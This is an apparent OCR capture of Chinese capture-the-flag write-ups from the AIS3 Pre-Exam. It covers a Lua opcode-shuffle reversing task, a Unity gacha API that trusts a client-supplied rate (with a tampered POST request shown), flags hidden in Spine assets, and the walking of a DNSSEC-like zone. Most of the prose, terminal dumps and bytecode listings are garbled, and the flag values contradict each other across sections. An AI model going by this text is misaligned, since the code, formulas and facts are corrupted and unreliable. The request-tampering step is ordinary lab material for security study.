2. luac opcode shuffle

= SRR Reverse
(EES luac_stripped.exe, secret.luac
B8 i % il H 7T Lua 5.1 bytecode, opcode shuffle, Bt an e
Flag AIS3{Lu4_Opc0d3_Shuffllng_ls_Fun}
21 I HE
BUT luac_stripped.exe & EHET : frkar O H, FFdimikt opcode mapping.

secret.luac i1y header {/5/& Lua 5.1, {HAZHREEAERAMENT, 25 —{H prototype mh& &L,

E—D I TR BL, A5 prototype TE nups #%%85ME A —1E seed byte ; [FiF VM dispatch
& H seed H pc (7 & BhREAZAE opcode,

2.2 HET opcode 2[R
real op = (enc_op ™ (seed "~ Ox2B) ~ (15 * pc + 17)) & Ox3F

8 EER secret.luac £, JFEAYHT BTSSRI 0T ER] Lua VM 19EE, %40 CLOSURE,
GETGLOBAL, CALL, FORLOOP %, #5235 Hen b i fe Bl B e i 20 [l v e,

2.3 EREE AR

A LIRTIEL e Ak FP TR B, P 8 A byte i rolling-state IR1E ; & —#m#l K
M ARG, IRREEE key table f4n7E. XOR B modulo, #xf4 B target table ¥,
AR AR P, RIS B A, BB R — i i0RE, SRR TR R AT AR,

target byte -> remove additive mask -> xor back key stream -> recover plaintext byte



2.4 fRRBHEER

EEE AR Lua BEE, eekiE FESAFMTRER] . —H opcode mapping #%

I, AR SRS ek U I ) AT A,

AIS3{Lu4_©pcod3_Shuffling 1s_Fun}

Btk - AREAMER KA

tetris solver solve_tetris.py
luac parser parse_secret_luac.py
luac solver solve_luac.py

GES
HXYT

71 A Y — Lua 5.1 bytecode E2EH 7] opcode VM R

DEE : reverse

B #% flag : AIS3{Lu4_0pc0d3_Shuffling_1s_Fun}




= AIS3 Pre-Exam X

< C % pre-exam.ais3.org/ch...

& dist—cf02883335...

Flag

B1 &HEEZIE

EENEIEREEAZ a BAAE - MEH1T bytecode B VM ° EIEIE secret.luac =4 — M Lua
RiAmZEZRE LN - EH5 opcode ARIFZEIE XORIEE - % opcode #Rak T IREFT LR -

1. HEEREDSERE

BRAEEA R BEMEEZE : luac_stripped.exe B3 “secret.luac’ -



#® Windows PowerShell

Windows PowerShell
R ( Microsoft ion - AT -

PowerShell Bt | https://aka.ms/PSWindows

\Users\User\Downloads\dist--c+- 88+3335939UUc677Ta326FUBac62cBI51bI>

#: C:\Users\User\Downloads\dist--cff082883335939Ulc6777a326fUBacs2c8951b3

Length Name

267128 luac_stripped.exe
1986 secret.luac

PS C:\Users\User\Downloads\dist——cff82883335939UUc6777a326FUPac62cB951b3>

2 [EBEEREEZ NS luac_stripped.exe £ secret.luac

e ‘secret.luac’ £ Lua 5.1 chunk header °

o BEUHOR o’ ~ “write’ ~ ‘read” ~ “print’ * "ok’ * ‘no’  ‘string’ * ‘byte" °

o RAUISPEEBAKOILHR : BA—EFE - BB check BEHIH "ok’ - FRIENH 'no” -
B E#1T "luac_stripped.exe secret.luac’ i - X RF[EE :

This compiler has been disabled for the CTF challenge.
Reverse engineer this binary to discover the OpCode mapping!



#® Windows PowerShell

Windows PowerShell
EFR Microsoft Co

PS C:\Users\User\Downloads\dist--c+fB82883335939Uuc6777a326FUBac62cB951b3>
C:\Users\User\Downloads\dist--cff8288f3335939Ulc6777a326FUBac62c8951b3

Length Name

267128 luac_stripped.exe
2026/5/18 LT : 1986 secret.luac

PS5 C:\Users\User\Downloads\dist—c#F8288+33359394Uc6777a326F10ac62c8951b3>
This compiler has been d for the CTF challenge.

Reverse engineer this binary to discover OpCode mapping!

PS C:\Users\User\Downloads\dist——c#£828BF3335939UUc6777a326FDac62cB8951b3>

:\Users\User\Downloads\dist--cff8288f3335939Ulc6777a326fUBac62c8951b3\secret . luac
88 81 82 83 a4 85 86 A7 88 89 6A 6B 6C 6D OE &F
06006006 1B 4C 75 61 51 6@ 81 84 88 64 68 60 60 66 80 80 .Lual

00000016 60 00 00 @0 @0 60 A6 A6 06 60 @0 @0 6P 87 68 82
00000020 89 24 00 @0 60 1E 0B 0B 68 GF 4O @0 @0 AP 88 @8

PS C:\Users\User\Downloads\dist——cff82883335939UUc6777a326FUBac62cB951b3>

B3 BiTHERIFA - H secret.luac #9magic bytes #7245 Lua 5.1 bytecode

2. 548 v R B 156

57 exe #EFRIK stripped + 1B COFF symbol H{REE 7 A/ D4RZE - AU “luaV_execute’
‘luaU_undump" * ‘luaU_header" * ‘luaP_opnames" * ‘luaP_opmodes' * EIFAIZEHE (17

‘luaV_execute” °

£ opcode dispatch B O] 3& R 1 5 ER 2 4E

custom_op = (key ~ @x2b ~ inst ~ (15 * pc + 17)) & ox3f

4N - “secret.luac’ HY prototype header th AZAZ#E Lua 5.1 18T - IZEZEFAITE nups BIEEEE
‘numparams’ - {BIEBEE T EERIMNEAN T —1E key byte - FIRJRE Lua 5.1 parser & - BEIPTB#
&S EEAL -



3. opcode N ERER, EMxHE
E ‘custom_op’ BRLEIR1E - EARBEE EBIZEXE Lua 5.1 opcode REREE ; VM B dispatch table 51

17 permutation * BIYEEERE B NIEFE

e 35->CLOSURE’
e '11->GETGLOBAL

e 4->LOADK

e 28 ->CALL

e 30 ->RETURN®
FTLISE 2 [RER

stored instruction
-> per-prototype key + pc-based XOR
-> custom opcode id
-> shuffled VM mapping
-> real Lua 5.1 semantic

4. dump HH E IE#Y bytecode
S5EHX parser & - ERNHBEZRIIEBZE  TEII/NE closure - HEEM Cio.write('> ') ~ “io.read() -

ERMNIUZESE closure SREZEE] ok’ B2 'no’ °
HpHEEZEWE =4 helper :
1. 'main.0" : E1F bitwise xor °

2. ‘main.1’ : ¥ table 3% 18 transform °

3. "main.2" : EFE table 22%8 interleave °

‘main.3" B ‘main.4’ EESEMEZERZEK ; ‘main.5’ I &4 checker - FEAFEE 723 - IAHE—E
byte #EE M HIZEE NI -

5. B3 checker
BEIREZVEET N ¢



state 65

for i = 1, #table_b do
v = table_a[((i * 5 + state) % #table_a) + 1]
mixed = xor((byte(s, i) + i + state) % 256,
(v +1*7)%256)
mixed = (mixed + (xor(v, i) % 13)) % 256
assert mixed table_b[i]
state = (state + mixed + v + i * 3) % 256
end

assert state == 229

5 “mixed’ MBS BENM table_b[i]' - FTLATILIE #E & EREI A byte :

Windows PowerShell

: LOADK 332 ; custom=64 raw=0x0600800e9

LOADK 433 ; custom=64 raw=0x00084116
: TAILCALL ; custom=29 raw=0x0280001e
: RETURN ; custom=30 raw=0x0000002e
: RETURN ; custom=30 raw=0x0080003f

main.5 key=9 nups=3 params=1 stack=14 ==
[65.0, 1.8, 'string', 'byte', 5.8, 256.0, 7.6, 13.8, 3.0, 229.0
; custon=09 raw=0x0000007a
; custom=28 raw=0x0080805e
; custon=09 raw=0x00800084
; custom=28 0x00808080
; custom=04 0x000000eb
; custom=22 0x00000128
; custom=22 0x0100015F
; custom=27 902014043
; custom=10 raw=0x80004021
; custom=05 raw=0x0000013f
raw=0x0100011b
; custom=04
raw=0x01000171
raw=0x000041b2
raw=0x8008c121
GETGLOBAL ; 11 raw=0x8000821b
: GETTABLE ; raw=0x04U40C22f
2 raw=0x08006270
raw=0x038002bf
raw=0x01808210
; custon=15 raw=0x03c10250
91 raw=0x048OC26f
raw=0x008002af
raw=0x0482825a
raw=0x04c0u25a
GETTABLE ; raw=0x0082U266
GETUPVAL 10 ; raw=0x010002bc
raw=0x0481c2c5
ADD ; raw=0x0580c2d6
MoD ; raw=0x05c142f1
: MUL ; raw=0x03c1833e
ADD o raw=0x0u83e3e1
MOD s raw=0x06414301
CALL raw=0x018082be
: GETUPVAL ; raw=0x010002el
raw=0x0480033e
raw=0x0380034d
raw=0x018082c2
raw=0x05c1c2fb
raw=0x0502c29
MOD raw=0x05c14299
: GETTABLE 2 raw=0x0101c2d6
EQ e raw=0x0502c07e
P raw=0x8000403e
: LOADBOOL ; raw=0x000002c2
RETURN 112 0 ; raw=0x010002c8
ADD 11 3 18 - raw=0x018282e0
ADD 1119
; custom=15 raw=0x03c2030c
; custon=61 raw=0x058302d3
raw=0x05c140cf
raw=0x7ff68133
raw=0x01c24064
raw=0x80000004
LOADBOOL ; raw=0x0000411c
: LOADBOOL 3 raw=0x0080012d
RETURN = raw=0x01000125
: RETURN ; custon=30 raw=0x00800014

flag: AIS3{Lull_6pcOd3_Shuffling_1s_Fun}
PS C:\Users\User\Downloads\dist--cff828833359394Uc6777a326fU0ac62c8951b3>

B4 BZEparser HIViE/R main.5 - IWH1HERA flag

rhs
1lhs
ch

(target - ((v ~ 1) % 13)) % 256
rhs ~ ((v + 1 * 7) % 256)
(lhs - i - state) % 256



6. BAEFER
AIS3{Lu4_0pc0d3_Shuffllng_1s_Fun}

EENKRTEMEER . BREHE flag BEREE—FEE - MIBILEBELSIE Lua - BEXKMR
BEHIEFFETNE "luaWHiTE., - —E VWM HREBERER - BHEM constraint R ME K E

Bite% . AXRBEEEY
e B parser / dumper / solver : ‘solve_lua_vm.py’

o B[R dump BKEEEIL : “solve_output.txt’

2B ER

#85l: Reverse / Unity

B1R: Unity P IRE2%ER gacha API

Flag t&=X: AIS3{...}

#ZiLviwiE: Server EE{E{E client B AR rate

E=S

EMEMAZ2EREF - M2 gacha request - RELZEIFEFEENIA assembly - BT
FEAREZETE 0.0 2 0.3 89 rate 2% 0.5 - server FAEIE flag M#EEER armor.name ©

IJII

WMKERERBREIRR  SEEEHR - EUENALSR -



BESANEESEBANTEH A L - FERE PNGHWEEHEER PE - FLEFERE DLL 1918
EUAZEMEELHNAS -

« 5L ETETEE assembly metadata - MAREBEEEES -

« EIFAER AR TERER Assembly-CSharp.dll - TEFE AR RE -

« At E—PEFIEHEUNEREHMBO EERR -

2. BN ZIDIEX

IEF{E#OIANE IER Assembly-CSharp #i7E System.Memory.dll - R#4R:Z#% - EiRER2
GachaServer - EF &1L spend - rate * username - gold ~ score - kills ZAA% JSON 3£ Z 3= I
API -

float rate = UnityEngine.Random.Range(0f, 0.3f);
POST http://chalsl.ais3.org:50001
{"spend": <amount>, "rate": <client-controlled value>, ...}

3. # A
Client R2EXRMFEMEEL rate - B server REBTEE - KREREEBUIUEEBE - HEE

o] 23R - = rate 84K 0.5 5 - [@fEAY armor.name B H#FE A flag °
1. E# % http://chalsl.ais3.0rg:50001 3% POST 353K -

2. fREBIE®E JSON #5158 - 1BE rate F8I2Ak 0.5 -

3. FEHY[E{E JSON W armor.name 1811 -

4. FHIR AIS3{.} - BIBAE flag -

Request:
{"spend":1000, "rate":0.5, "username": "Dex","gold":0,"score":0,"kills":0}

Response:
{"armor":{"name" : "AIS3{At_Least_U_DIDNT_MODIFY_MY_MONEY_RIGHT?}"}, ...}



4. Flag
AIS3{At_Least_U_DIDNT_MODIFY_MY_MONEY_RIGHT?}

5. ¥55m
BB RS EMEBELON - BIEEERBRE client T gacha 2838 - REIL assembly
O3k - BB EW A —EEE BN APl SERIE -

Hidden in the Cloak

AR B S

BREAGARIAES LA TIKE . - Rt —FEREEREM R ERSHRRERM S -
MAREMAFEREBNFSENA -

AR E
i AR ER 1 - DILUSEI—1E Unity BEESR - £—F BB StreamingAssets/bundles/ B##i& -
BINHDE— (@S A BARE bundle : character_main °
£ character_main RO L BEEEER :

e character.png
e character.atlas

e character JSON

1% character.png EEL & - oI EFEBZBE PR AFZSWIFENZIT - HI0
o AIS3{

e dOn7_70

e uch_my_

e (4p3_0k_
B3N flag ERRMCEABHES - REIERHITE - SAEE B R LKRISIE

B SRR ER 52



BE1RE Spine B character JSON - BIRELFTHERAER slot -
824 atlas £/ region BFAIZELE - (B slot WIEFRRME 7 ERNVEAS R -

88 s013 £ s025 WIEFFEX L ¥IFE region & - DUk FH HTEFES -

BRER
BHHFIEEE

AlIS3{dOn7_70uch_my_c4p3_0k_b3fle768}

+ A
~0 affl

BERENZOAERARERZIS - MEEHEL

]l

o BEHRTEONABERM

o flag iFEGEEAERE

o Spineslot lEFE7A Z2EIENREEIER

A LR 2% character_main FEUHZEM - Bk slot IEFFE4A - #EEFRI&A flag -

DG Server (Rev)

5B AR o AT AR R R A

= H DG Server (Rev)

R Reverse / DNS / Protocol Analysis

BT chalsl.ais3.0rg:53573

Flag AIS3{w4lking_0n_DOH_z0n3--NSEC...NSEC6!_666~ ~~}

HEA 2026-05-17



2 B &R

i

FEHITIE - (B NS N "dg-server EHERE Python BgiEgs - EIEZAHTHA
el [E)iE I AR TS 88 X 5 « BRs5 DNSSEC EEMETHE  RBHEERESHE

filf
e
i
I
T
é‘éﬁ?
U}F\Ei

frREsR ER A NS 'MX &/ - WEARE—EREZRIH 1R zone Y 'DNSKEY" ~ 'DS’
SOA' MR ACHERE - ENRBELDRZMNERETRHELEBAR - MAZE#H patch Sl

A EAER 2R

1. %Eﬁwu\ EEI7'<:1: ’ Eﬁkfﬁ bKZE ELF/PE ﬁﬁZE—_[EhtF‘ﬁﬁ;;E/] Python %EE_E

2. BEEABRYNESHER - ZEM record type - UK BUATB&ZE Z & trust chain -

3. BEZEMBHBERZ @chalsl.ais3.org:53573 www.curious.sleeping A" B —X - BiZZIEE
ﬁ\szJELAZ.T«( o

WE OB zone A% . -> sleeping. -> curious.sleeping.’ FERE - MBAARAEREE
BMREEE  MeRRRIERPHRERO -



1. ‘dg-verify.py’ RIaTERE - D RERREZIEER

% Windows PowerShell x + ~

ndows PowerShell
ZfE# (C) Microsoft Corporation- RBEAER -

ZHRTIK PowerShell IS M IHAE M X E IHAE | https://aka.ms/PSWindows

PS C:\Users\User>
PS C:\Users\User> 30
usr/bin/env python3
Verify dg-server DNSSEC-like signatures for A, NS, and MX records."""

from __future__ import annotations

import baseéd

import hashlib

import socket

import sys

from urllib.parse import quote
from dataclasses import dataclass

DEFAULT_PORT = 57573
ROOT_KSK_PUBLIC_B6U4 = "@Esttf: wuEXUQUP7we12Ph323yfcRMv21wAYbm50

2%%255 - 19

2#%%252 + 27742317777372353535851937790883648193
(-121665 * pow(121666, P - 2, P)) % P

pow(2, (P - 1) // 4, P)

15112221349535400772501151409588531511454012693041857206046113283949847762202,
46316835694926478169428394003475163141307993866256225615783033603165251855960,

)
IDENTITY = (@, 1)

@dataclass
class Dnskey:
PS C:\Users\User> |




2 - BXINERFE ‘www.curious.sleeping A" RV

& Windows PowerShell

Bdataclass
class Dnskey:

““DNSHEY 257 3 15 BEsttfsYDWUEXUQUPTweL2Ph323yFcRMVZLuAYbRSA
. DNSKEY 256 1 15 EuFIngPPrU9zqUabrblp/DJaCKKOqbQdmikW6qRETS!
. RRSIG DNSKEY 15 @ 3680 20306101008800 2026051380808 51879 . adjAvelRF+i893JuNPxBLTsWLAWUNNBhBBROH2DC]+KzTQPWYMrEOH0zt2ABT /ZCBYLUSKY
DNSKEY RRSIG OK, signed by KSK key_tag=51879
signer puhllL key natches root trust anchor key_tag=51879
1879

. SOA a.root-servers.net. hostmaster.root. 2026046101 3600 GO® 604800 68

. RRSIG SOA 15 @ 3680 20300101000000 20260513000000 11150 . hZimql7LQDoVecpyAErUPSXxC6uVnb9vddsor8hyl MqSUNFREEBxFdjmbBwET iJWBevhksHr:
verify: . SOA RRSIG OK, signed by ZSK key_tag=11158
serial 8266u8161

sleeping. DS
query: sleeping. DS
sleeping. DS 63569 15 2 SEAUGB22269117ASC6AT37413UEFFTDI6576286D7ADSAECICUUGEBE6FUO1SAB]
leeping. RRSIG DS 15 1 3600 2030010108088 20268513060808 11150 . 5jLFTIOv/IDESIHyNJ6n+eAgNJgDeh63UNPC3h0YokPLVAQUEKHXWAIICXqIkixOnsTuDYdABXQOSXaKEUBg==
sleeping. signed by parent ZSK key_tag=11150
DS digest matches child HSK key_tag=63569
H sleepimg, DS 63569 15 2 SEAU6B2228911T7ASCEAT3TU13UEFFTD96576280DTADSAECICUUGBBE6FUB15AB]

sleeping. DNSKEY
query: sleeping. DNSKEY

sleeping. DNSKEY 257 3 15 G+P+UuBbV98jiuHhddGqrueklo+fvg/qHvInVusU3B

sleeping. DNSKEY 256 3 15 NHEZdu+kdUBJGEAQET+Q6/i3DZ22m2b+bGYKEGRUL

sleeping. RRSIG DNSKEY 15 1 3680 20300101600000 20260513000000 63569 sleeping. ul/EnKhaQH6Cyc8gMh/dWBByBKN3pTn2ziaqDpqlzKygGNDRhphNNUFMHOCxx 17r0zVs3Ru3TBkNrIgSs j28ubA
verify: sleeping. DNSKEY RRSIG OH, signed by WSH key_tag=63569
keys: KS| 9 ZS| 28

== sleeping. SOA
query: sleeping. SOA
sleeping. SOA nsl.sleeping. hostmaster.sleeping. 2026048101 3680 680 6BUSEO 6O
sleeping. RRSIG SOA 15 1 3680 20380101008008 Ln*aaﬁlvaaanaa 36128 sleeping. 2JKIR7cBLnZdbt6vD+utRAFIX+FetKXGVaMhlU8bod6JevoZCOHGHMeL Xpl CIvT298g0FkSbUGYVQdetgTnIBw==
sleeping. SOA RRSIG OK, signed by ZSK ke,
serial: 2026648181

curious.sleeping. DS
o ing. DS
. DS 52272 15 2 A22F5CD9E6393EB1E981DC6A]B689CD35EALABBUSDLCSSUA3681D23BBEFA3C12
curious.sleeping. RRSIG DS 15 2 3688 20309101800688 2026851308800 36128 sleeping. 6cHWrgI+kLMEKNLoGblw3NVybxJVNASHEPKVXINNL1331z1Y1WXPThJYyMUz6pHLyAQDhjRale+sTaAF /QtdAA:
verify: curious.sleeping. DS RRSIG OK, signed by _parent ZSK key_tag=36128
verify: DS digest matches child HSK key_ta
ds: curious.sleeping. DS 52272 15 2 AA‘F‘FDQEE39 E@1E981DC6A18689CD3SEAL ABBUSD1C554A3681D23BBEFAIC12

curious.sleeping. DNSKEY
query: curious.sleeping. DNSKEY

curious.sleeping. DNSKEY 257 3 15 OYyWwJ7L7GDsoQAUTHBIWLLBoZq6KFRhbDGHzUSbUAL

curious. sleeping. EY 256 3 15 z6WolEww7ipGWCTIM2QjY1yN3ia+xYdunnXUoEVET1d

curious.sleeping. RRSIG DNSKEY 15 2 3680 2030910106088 20268513888800 52272 curious.sleeping. EpM7593XrtmoUB0q7dRATRrelnRnjiop¥Q3ic+OMBENHW2AIzMHC Yws TEHHOOEPLYVO1354pIxd jyNH
ochg5CA=

curious.sleeping. DNSKEY RRSIG OK, signed by KSH key_tag=522
272 75K=11113

curious.sleeping. SOA
query: curious.sleeping. SOA

curious.sleeping. SOA nsl.curious.sleeping. hostmaster.curious.sleeping. 202668101 3600 600 68U88 60

curious.sleeping. RRSIG SOA 15 2 3686 2030810100680 26260513080888 11113 curious.sleeping. Jr6FSObQeuSuUDVOjQAGriWqgLZawokKiErBD/sEGSKSDIBYyHgqXA2icZnMoyIYTo8Ihqz92NQsSEFNIA

[67 S fE

EHRAFENBER - IRFEEIRAZ—M 'NSEC / 'NSEC3' - MmEB&I# 'NSEC6' - EEETE

CIEER 7 &M " BFAFE,  BEEERINRIRZEDE zone S PRI MIE

M2 - GESREBEMN 7 HF oracle : HMBRBAIBHBZELRS - ABEAERREE
EEUE - EMTTRELRK -

2%1 Arecord : “api’ ~ ftp” » "nsl’ -~ ‘'www' - ‘mail®
E%0 TXT record : *_dmarc ~ ‘status’
BINEBE—SWEREMN TXT owner - EESHIFRIRE[D
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& Windows PowerShell il

sleeping. RRSIG DS 15 1 3660 20300101000060 20260513006080 11150 . 5jLFTIBv/IDESIHyNJ6n+eAgNIqDeh63UNPC3h0YokP LVAQUOKHXWAIICKqTkixOnsTuDYdABmXQOSXa  EUBY
sleeping. DS RRSIG OK, signed by paxent ZSH key_tag=11156
DS mgert matches child KSK k 3569
576280D7ADSAECICYUGBEBEFUB1SABL

sleeping. DNSKEY ==
query: sleeping. DNSKEY
leeping. DNSKEY 257 3 15 G+P+4uBbV98jilHhddGqrUekJo+Fvq/qHvInVuSU3B
sleeping. DNSKEY 256 3 15 NHEZdu+kdUBjEAQBT+Q6/i3DZ22m2b+bGYKEGRUL2m=
sleeping. RRSIG DNSKEY 15 1 3600 20309101080680 2626051300000 63569 sleeping. ul/EnKhaQHECycBgMh/dWBByBKN3pTn2ziaqDpqLzKygGNDRhphNNUFMHOCXXT7r02Vs3Ru3TBKNrJg5)28uDA
verify: sleeping. DNSKEY RRSIG OH, signed by SK key_ta &
: KSK=63569 ZSK=36128

sleeping. SOA
query: sleeping. SOA
sleeping. SOA nsl.sleeping. hostmaster.sleeping 80 600 6BUBBA 60
sleeping. RRSIG S0A 15 1 3660 20380101860008 20 600 sleeping. 2JKIR7cBLnZdbt6vD+utRAfIX+FetkXGVaMhlUBbId6IevoZCBHGHNL XpLCIvT298g0fkSbUGYVQdetgTnIBu
verify: sleeping. SOA RRSIG OK, signed by ZSK key_tas
serial: 2026848181

curious.sleeping. DS
query: curious.sleeping. DS

curious.sleeping. DS 52272 15 2 A22F5CD9E6393EB1E981DC6A18689CD35EAIABBUSD1CS5UA3681D23BBEFAICL2

curious.sleeping. RRSIG DS 15 2 3688 2030911000808 20260513600088 36128 sleeping. 6cHWrgI+kLMEKnloGblw3NVybxJVNASNEPKVXINNL133121Y1WXP7hIVyMUz6pHLyAQQhjRale+sTaAF/QtdAA
verify: curious.sleeping. DS RRSIG OK, signed by parent ZSK key_tag=3612
verify: DS digest matches child HSK key_
ds: curious.sleeping. DS 52272 15 2 mzr5cngssagssengg=1ncauan 9CD3SEALABBUSD1C55UA3681023B8EFA3C12

== curious.sleeping. DNSKEY =
query: curious.sleeping. DNSKEY

curious.sleeping. DNSKEY 257 3 15 OYyWwJ7L7GDsoQAuTUBJIWLLBoZq6kFRhbDGHzuSbUAU=

curious.sleeping. DNSKEY 256 3 15 z6WoIEww7ipGWCTIM2QjY1yN3ia+xYdunmXdoEVET14=

curious.sleeping. RRSIG DNSKEY 15 2 3600 20360191000080 2026051300008 52272 curious.sleeping. EpM7593Xrtmol80q7dRATRrednRnjiopYQ3ic+OMBENHW2dIzMHC YwsTtHHOOEPLYVO135ipIxd yNH

: curious. sleepmg DNSKEY RRSIG OK, signed by KSH key_tag=52272

curious.sleeping. SOA
: curious.sleeping. SOA
ing. SOA nsl.curious.sleeping. hostmaster.curious.sleeping. 20266408181 3608 688 68UB88 68
RRSIG S0A 15 2 3600 20300101000080 20260513000000 11113 curious eeping. Jr6F50bQeuSulDVOjQAGriWgglZawokKiErBD/sEGgSKSDIBYyHgqXA2icZnM9y. 08Jhqz92NQsSEFNiA

curious.sleeping. SOA RRSIG OH, signed by ZSH key_tag=11113
2026640101

www. curious. sleeping. A
wiew. curious .sleeping. A
sleeping. A 67.67.
i 3600 20309101080800 28260513000808 11113 curious.sleeping. pHx7N+aAB 9TaLyamTHT1p3i2M2QcsozzsHxGDJopnF2T0rRZ910EGWzB5NVGC LDERHHCGFLod

. sleeping. A RRSIG [lk, signed by ZSK key_tag=11113 zone=curious.sleepin|
urious.sleeping. A 67.67.67.6
\Users\Use: T
Traceback (most recent call last)
:\Users\User\Downloads\dg-server-rev\scripts\dg-verify.py", line <module>
SystemExit(main(sys.argv))

File "C:\Users\User\Downloads\dg-server-rev\scripts\dg-verify.py", Lline
raise ValueError("dg-verify only supports A, NS, and MX")
ValueError: dg-verify only supports A, NS, and HX
PS C:\Users\User>
Traceback (most recent call last):
File "C:\Users\User\Downloads\dg-server-rev\scripts\dg-verif i in <module>
raise SystemExit(main(sys.argv))
File "C:\Users\User\Downloads\dg-server—rev\scripts\dg-verify
raise ValueError("dg-verify only supports A, NS, and HX")
ValueError: dg-verify only supports A, NS, and
PS C:\Users\User>

Bz

¥f "curious.sleeping.” E MR AREAFERN TXT ZF
IR ERE TR EL ERIEE "NSEC6™ owner -
EELERENAMEBLEREN - BN RESENUE
ZFRIR - BEESHABMWTXT -

%0 owner labe

1}

% . Z{EPE% owner FABEM I AR -

=
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EH1F 2 flag : "AIS3{w4lking_0n_DOH_z0n3--NSEC..NSEC6!_666~~~}’



4 - BREEH A record BEEEARE (L#)

5 Windows PowerShell x + ~

Windows PowerShell
Z1E# (C) Microsoft Corporation- REEB#T -

ZHERWMH PowerShell MW E I IhBE Mt E IHAE | https://aka.ms/PSWindows

PS C:\Users\User>

== Trust ==

trust anchor: . KSK key_tag=51879 algorith
target: mail.curious.sleeping. A

chain: . —> sleeping. —> curious.sleeping.

== . DNSKEY ==
query: . DNSKEY

DNSKEY 257 3 15 @Estt+sYDwuEXUQUP7wel2Ph323yfcRMv21lwAYbm50E=

DNSKEY 256 3 15 EuFIngPPrU9zqUabrbIp/DJaCKK@gbQdmikW6qR875g=

. RRSIG DNSKEY 15 0 3600 20300101000000 20260513000000 51879 . a3jAvelRf+i89jJuNPxBLTsWldWUNnBhBER9

H2DCj+KzTQPwYMrEOHozt2A0I /zCBvLUSKyayH9rDaF8ZMAWCW==
verify: . DNSKEY RRSIG OK, signed by KSK key_tag=51879
trust: signer public key matches root trust anchor key_tag=51879
keys: KSK=51879 ZSK=11150

== ., S0
query:
SOA a.root-servers.net. hostmaster.root. 2026040101 3600 600 60U8PO 68
. RRSIG SOA 15 0 3600 20300101000000 20260513000000 11150 . hZimql7LQDoVcpyAErUPSXxCéuVnb9vddsor8hy
LfMqSUNFBEEBxFdjmbBwET 1JW0evhksHrrDXKUCM5EtLOCg==
verify: . SOA RRSIG OK, signed by ZSK key_tag=11150
serial: 2026040101

== sleeping. DS ==
query: sleeping. DS
sleeping. DS 63569 15 2 5EAU6B22209117A5C6AT37U134EFF7D96576280D7ADSAECICUU68B86FU015A81
sleeping. RRSIG DS 15 1 3600 2030101000000 20260513000000 11150 . 5j1FTIOv/IDE51HyNJ6n+eAgNJqDeh63
UNpC3h0YokP1VAQUEKHXWAJIICXqIkixOnsTuDYdABmxQO5XalKEUBg==
verify: sleeping. DS RRSIG OK, signed by parent ZSK key_tag=11150
verify: DS digest matches child KSK key_tag=63569
ds: sleeping. DS 63569 15 2 5EAU6B22209117A5C6A7374134EFF7D96576280D7ADSAECICUU68B86FU015A81

== sleeping. DNSKEY ==
query: sleeping. DNSKEY
sleeping. DNSKEY 257 3 15 G+P+4u@bVv98jidHhddGqrUekJo+fvq/gHvInVu5U3Bo=
sleeping. DNSKEY 256 3 15 NHEZdu+kdU8jOEAQOT+Q6/i3DZ22m2b+bGYKE6RUt2w=
sleeping. RRSIG DNSKEY 15 1 3600 20300101000000 20260513000000 63569 sleeping. ulL/EnKhaQH6Cyc8gMh/d
WeeyeKm3pTn2ziaqDpqlLzKygGNDRhphNNuFMHOcxxI7r0zVs3Ru3TBKNrJg5j28uDA==
verify: sleeping. DNSKEY RRSIG OK, signed by KSK key_tag=63569
keys: KSK=63569 ZSK=36128

== sleeping. SOA ==
query: sleeping. SO
sleeping. SOA nsl.sleeping. hostmaster.sleeping. 2026040101 3600 600 604800 60
sleeping. RRSIG SOA 15 1 3600 20300101000000 20260513000000 36128 sleeping. 2JKIRTcBlmZdbt6vD+utRAf
JX+FetKXGVaMh1U8b9d6Jev9ZCOHGHmeLXplCIv7z90g0fkSbUGYVQdetgTnIBw==
verify: sleeping. SOA RRSIG OK, signed by ZSK key_tag=36128
serial: 2026040101

== curious.sleeping. DS ==

query: curious.sleeping. DS
curious.sleeping. DS 52272 15 2 A22F5CD9E6393EP1E981DC6A18689CD35EA1IABBUSD1CS55UA3681D23BREFA3C12
curious.sleeping. RRSIG DS 15 2 3600 20300101000000 20260513000000 36128 sleeping. 6cHWrgI+kLMEknlo

Gblw3NVybxJUNASNtPkVxINNL1331z1Y1WXP7hJYyMUz6pHlyAQQhjRale+s7aAF /QtdAA==

verify: curious.sleeping. DS RRSIG OK, signed by parent ZSK key_tag=36128

verify: DS digest matches child KSK key_tag=52272

ds: curious.sleeping. DS 52272 15 2 A22F5CD9E6393E@1E981DC6A18689CD35EAIABBLSD1C55UA3681D23BOEFA3C12

== curious.sleeping. DNSKEY ==
query: curious.sleeping. DNSKEY
curious.sleeping. DNSKEY 257 3 15 OYyWwJ7L7GDsoQAuTU48IWLLBoZq6kFKhbDGKzu5bUAU=




5- BREEAH A record BBREEARIE ( T#H)

® Windows PowerShell x + ~

sleeping. RRSIG DS 15 1 3600 20300101000000 20260513000000 11150 . 5j1FTIOv/IDE51HyNJ6n+eAgNJqDeh63
UNpC3h0YokP1VAQUOKHXWaJICXqIkixOnsTuDYdABmxQ05XalKE4UBg==
verify: sleeping. DS RRSIG OK, signed by parent ZSK key_tag=11150
verify: DS digest matches child KSK key_tag=63569
ds: sleeping. DS 63569 15 2 5EAU6B22209117A5C6A7374134EFF7D96576280D7ADSAECICHU68B86FU015A81

== sleeping. DNSKEY ==
query: sleeping. DNSKEY
sleeping. DNSKEY 257 3 15 G+P+4u@bVv98jidHhddGqrUekJo+fvq/gHvInVu5U3Bo=
sleeping. DNSKEY 256 3 15 NHEZdu+kdU8j@EAQOT+Q6/i3DZ22m2b+bGYKE6RUL2w=
sleeping. RRSIG DNSKEY 15 1 3600 20300101000000 20260513000000 63569 sleeping. ulL/EnKhaQH6Cyc8gMh/d
WeeyOKm3pTn2ziaqDpqlLzKygGNDRhphNNuFMHOcxxI7r0zVs3Ru3TBKNrJg53j28uDA==
verify: sleeping. DNSKEY RRSIG OK, signed by KSK key_tag=63569
keys: KSK=63569 ZSK=36128

== sleeping. SOA ==
query: sleeping. SOA
sleeping. SOA nsl.sleeping. hostmaster.sleeping. 2026040101 3600 600 60U800 60
sleeping. RRSIG SOA 15 1 3600 20300101000000 20260513000000 36128 sleeping. 2JHIR7cBlmZdbt6vD+utRAf
JX+FetKXGVaMh1U8b9d6Jev9ZCOHGHmeLXplCIv7z90g0FfkSbUGYVQdetgTnIBw==
verify: sleeping. SOA RRSIG OK, signed by ZSK key_tag=36128
serial: 2026040101

== curious.sleeping. DS ==

query: curious.sleeping. DS
curious.sleeping. DS 52272 15 2 A22F5CD9E6393EP1E981DC6A18689CD35EA1IABBUSD1CS55UA3681D23BREFA3C12
curious.sleeping. RRSIG DS 15 2 3600 20300101000000 20260513000000 36128 sleeping. 6cHWrgI+kLMEknlo

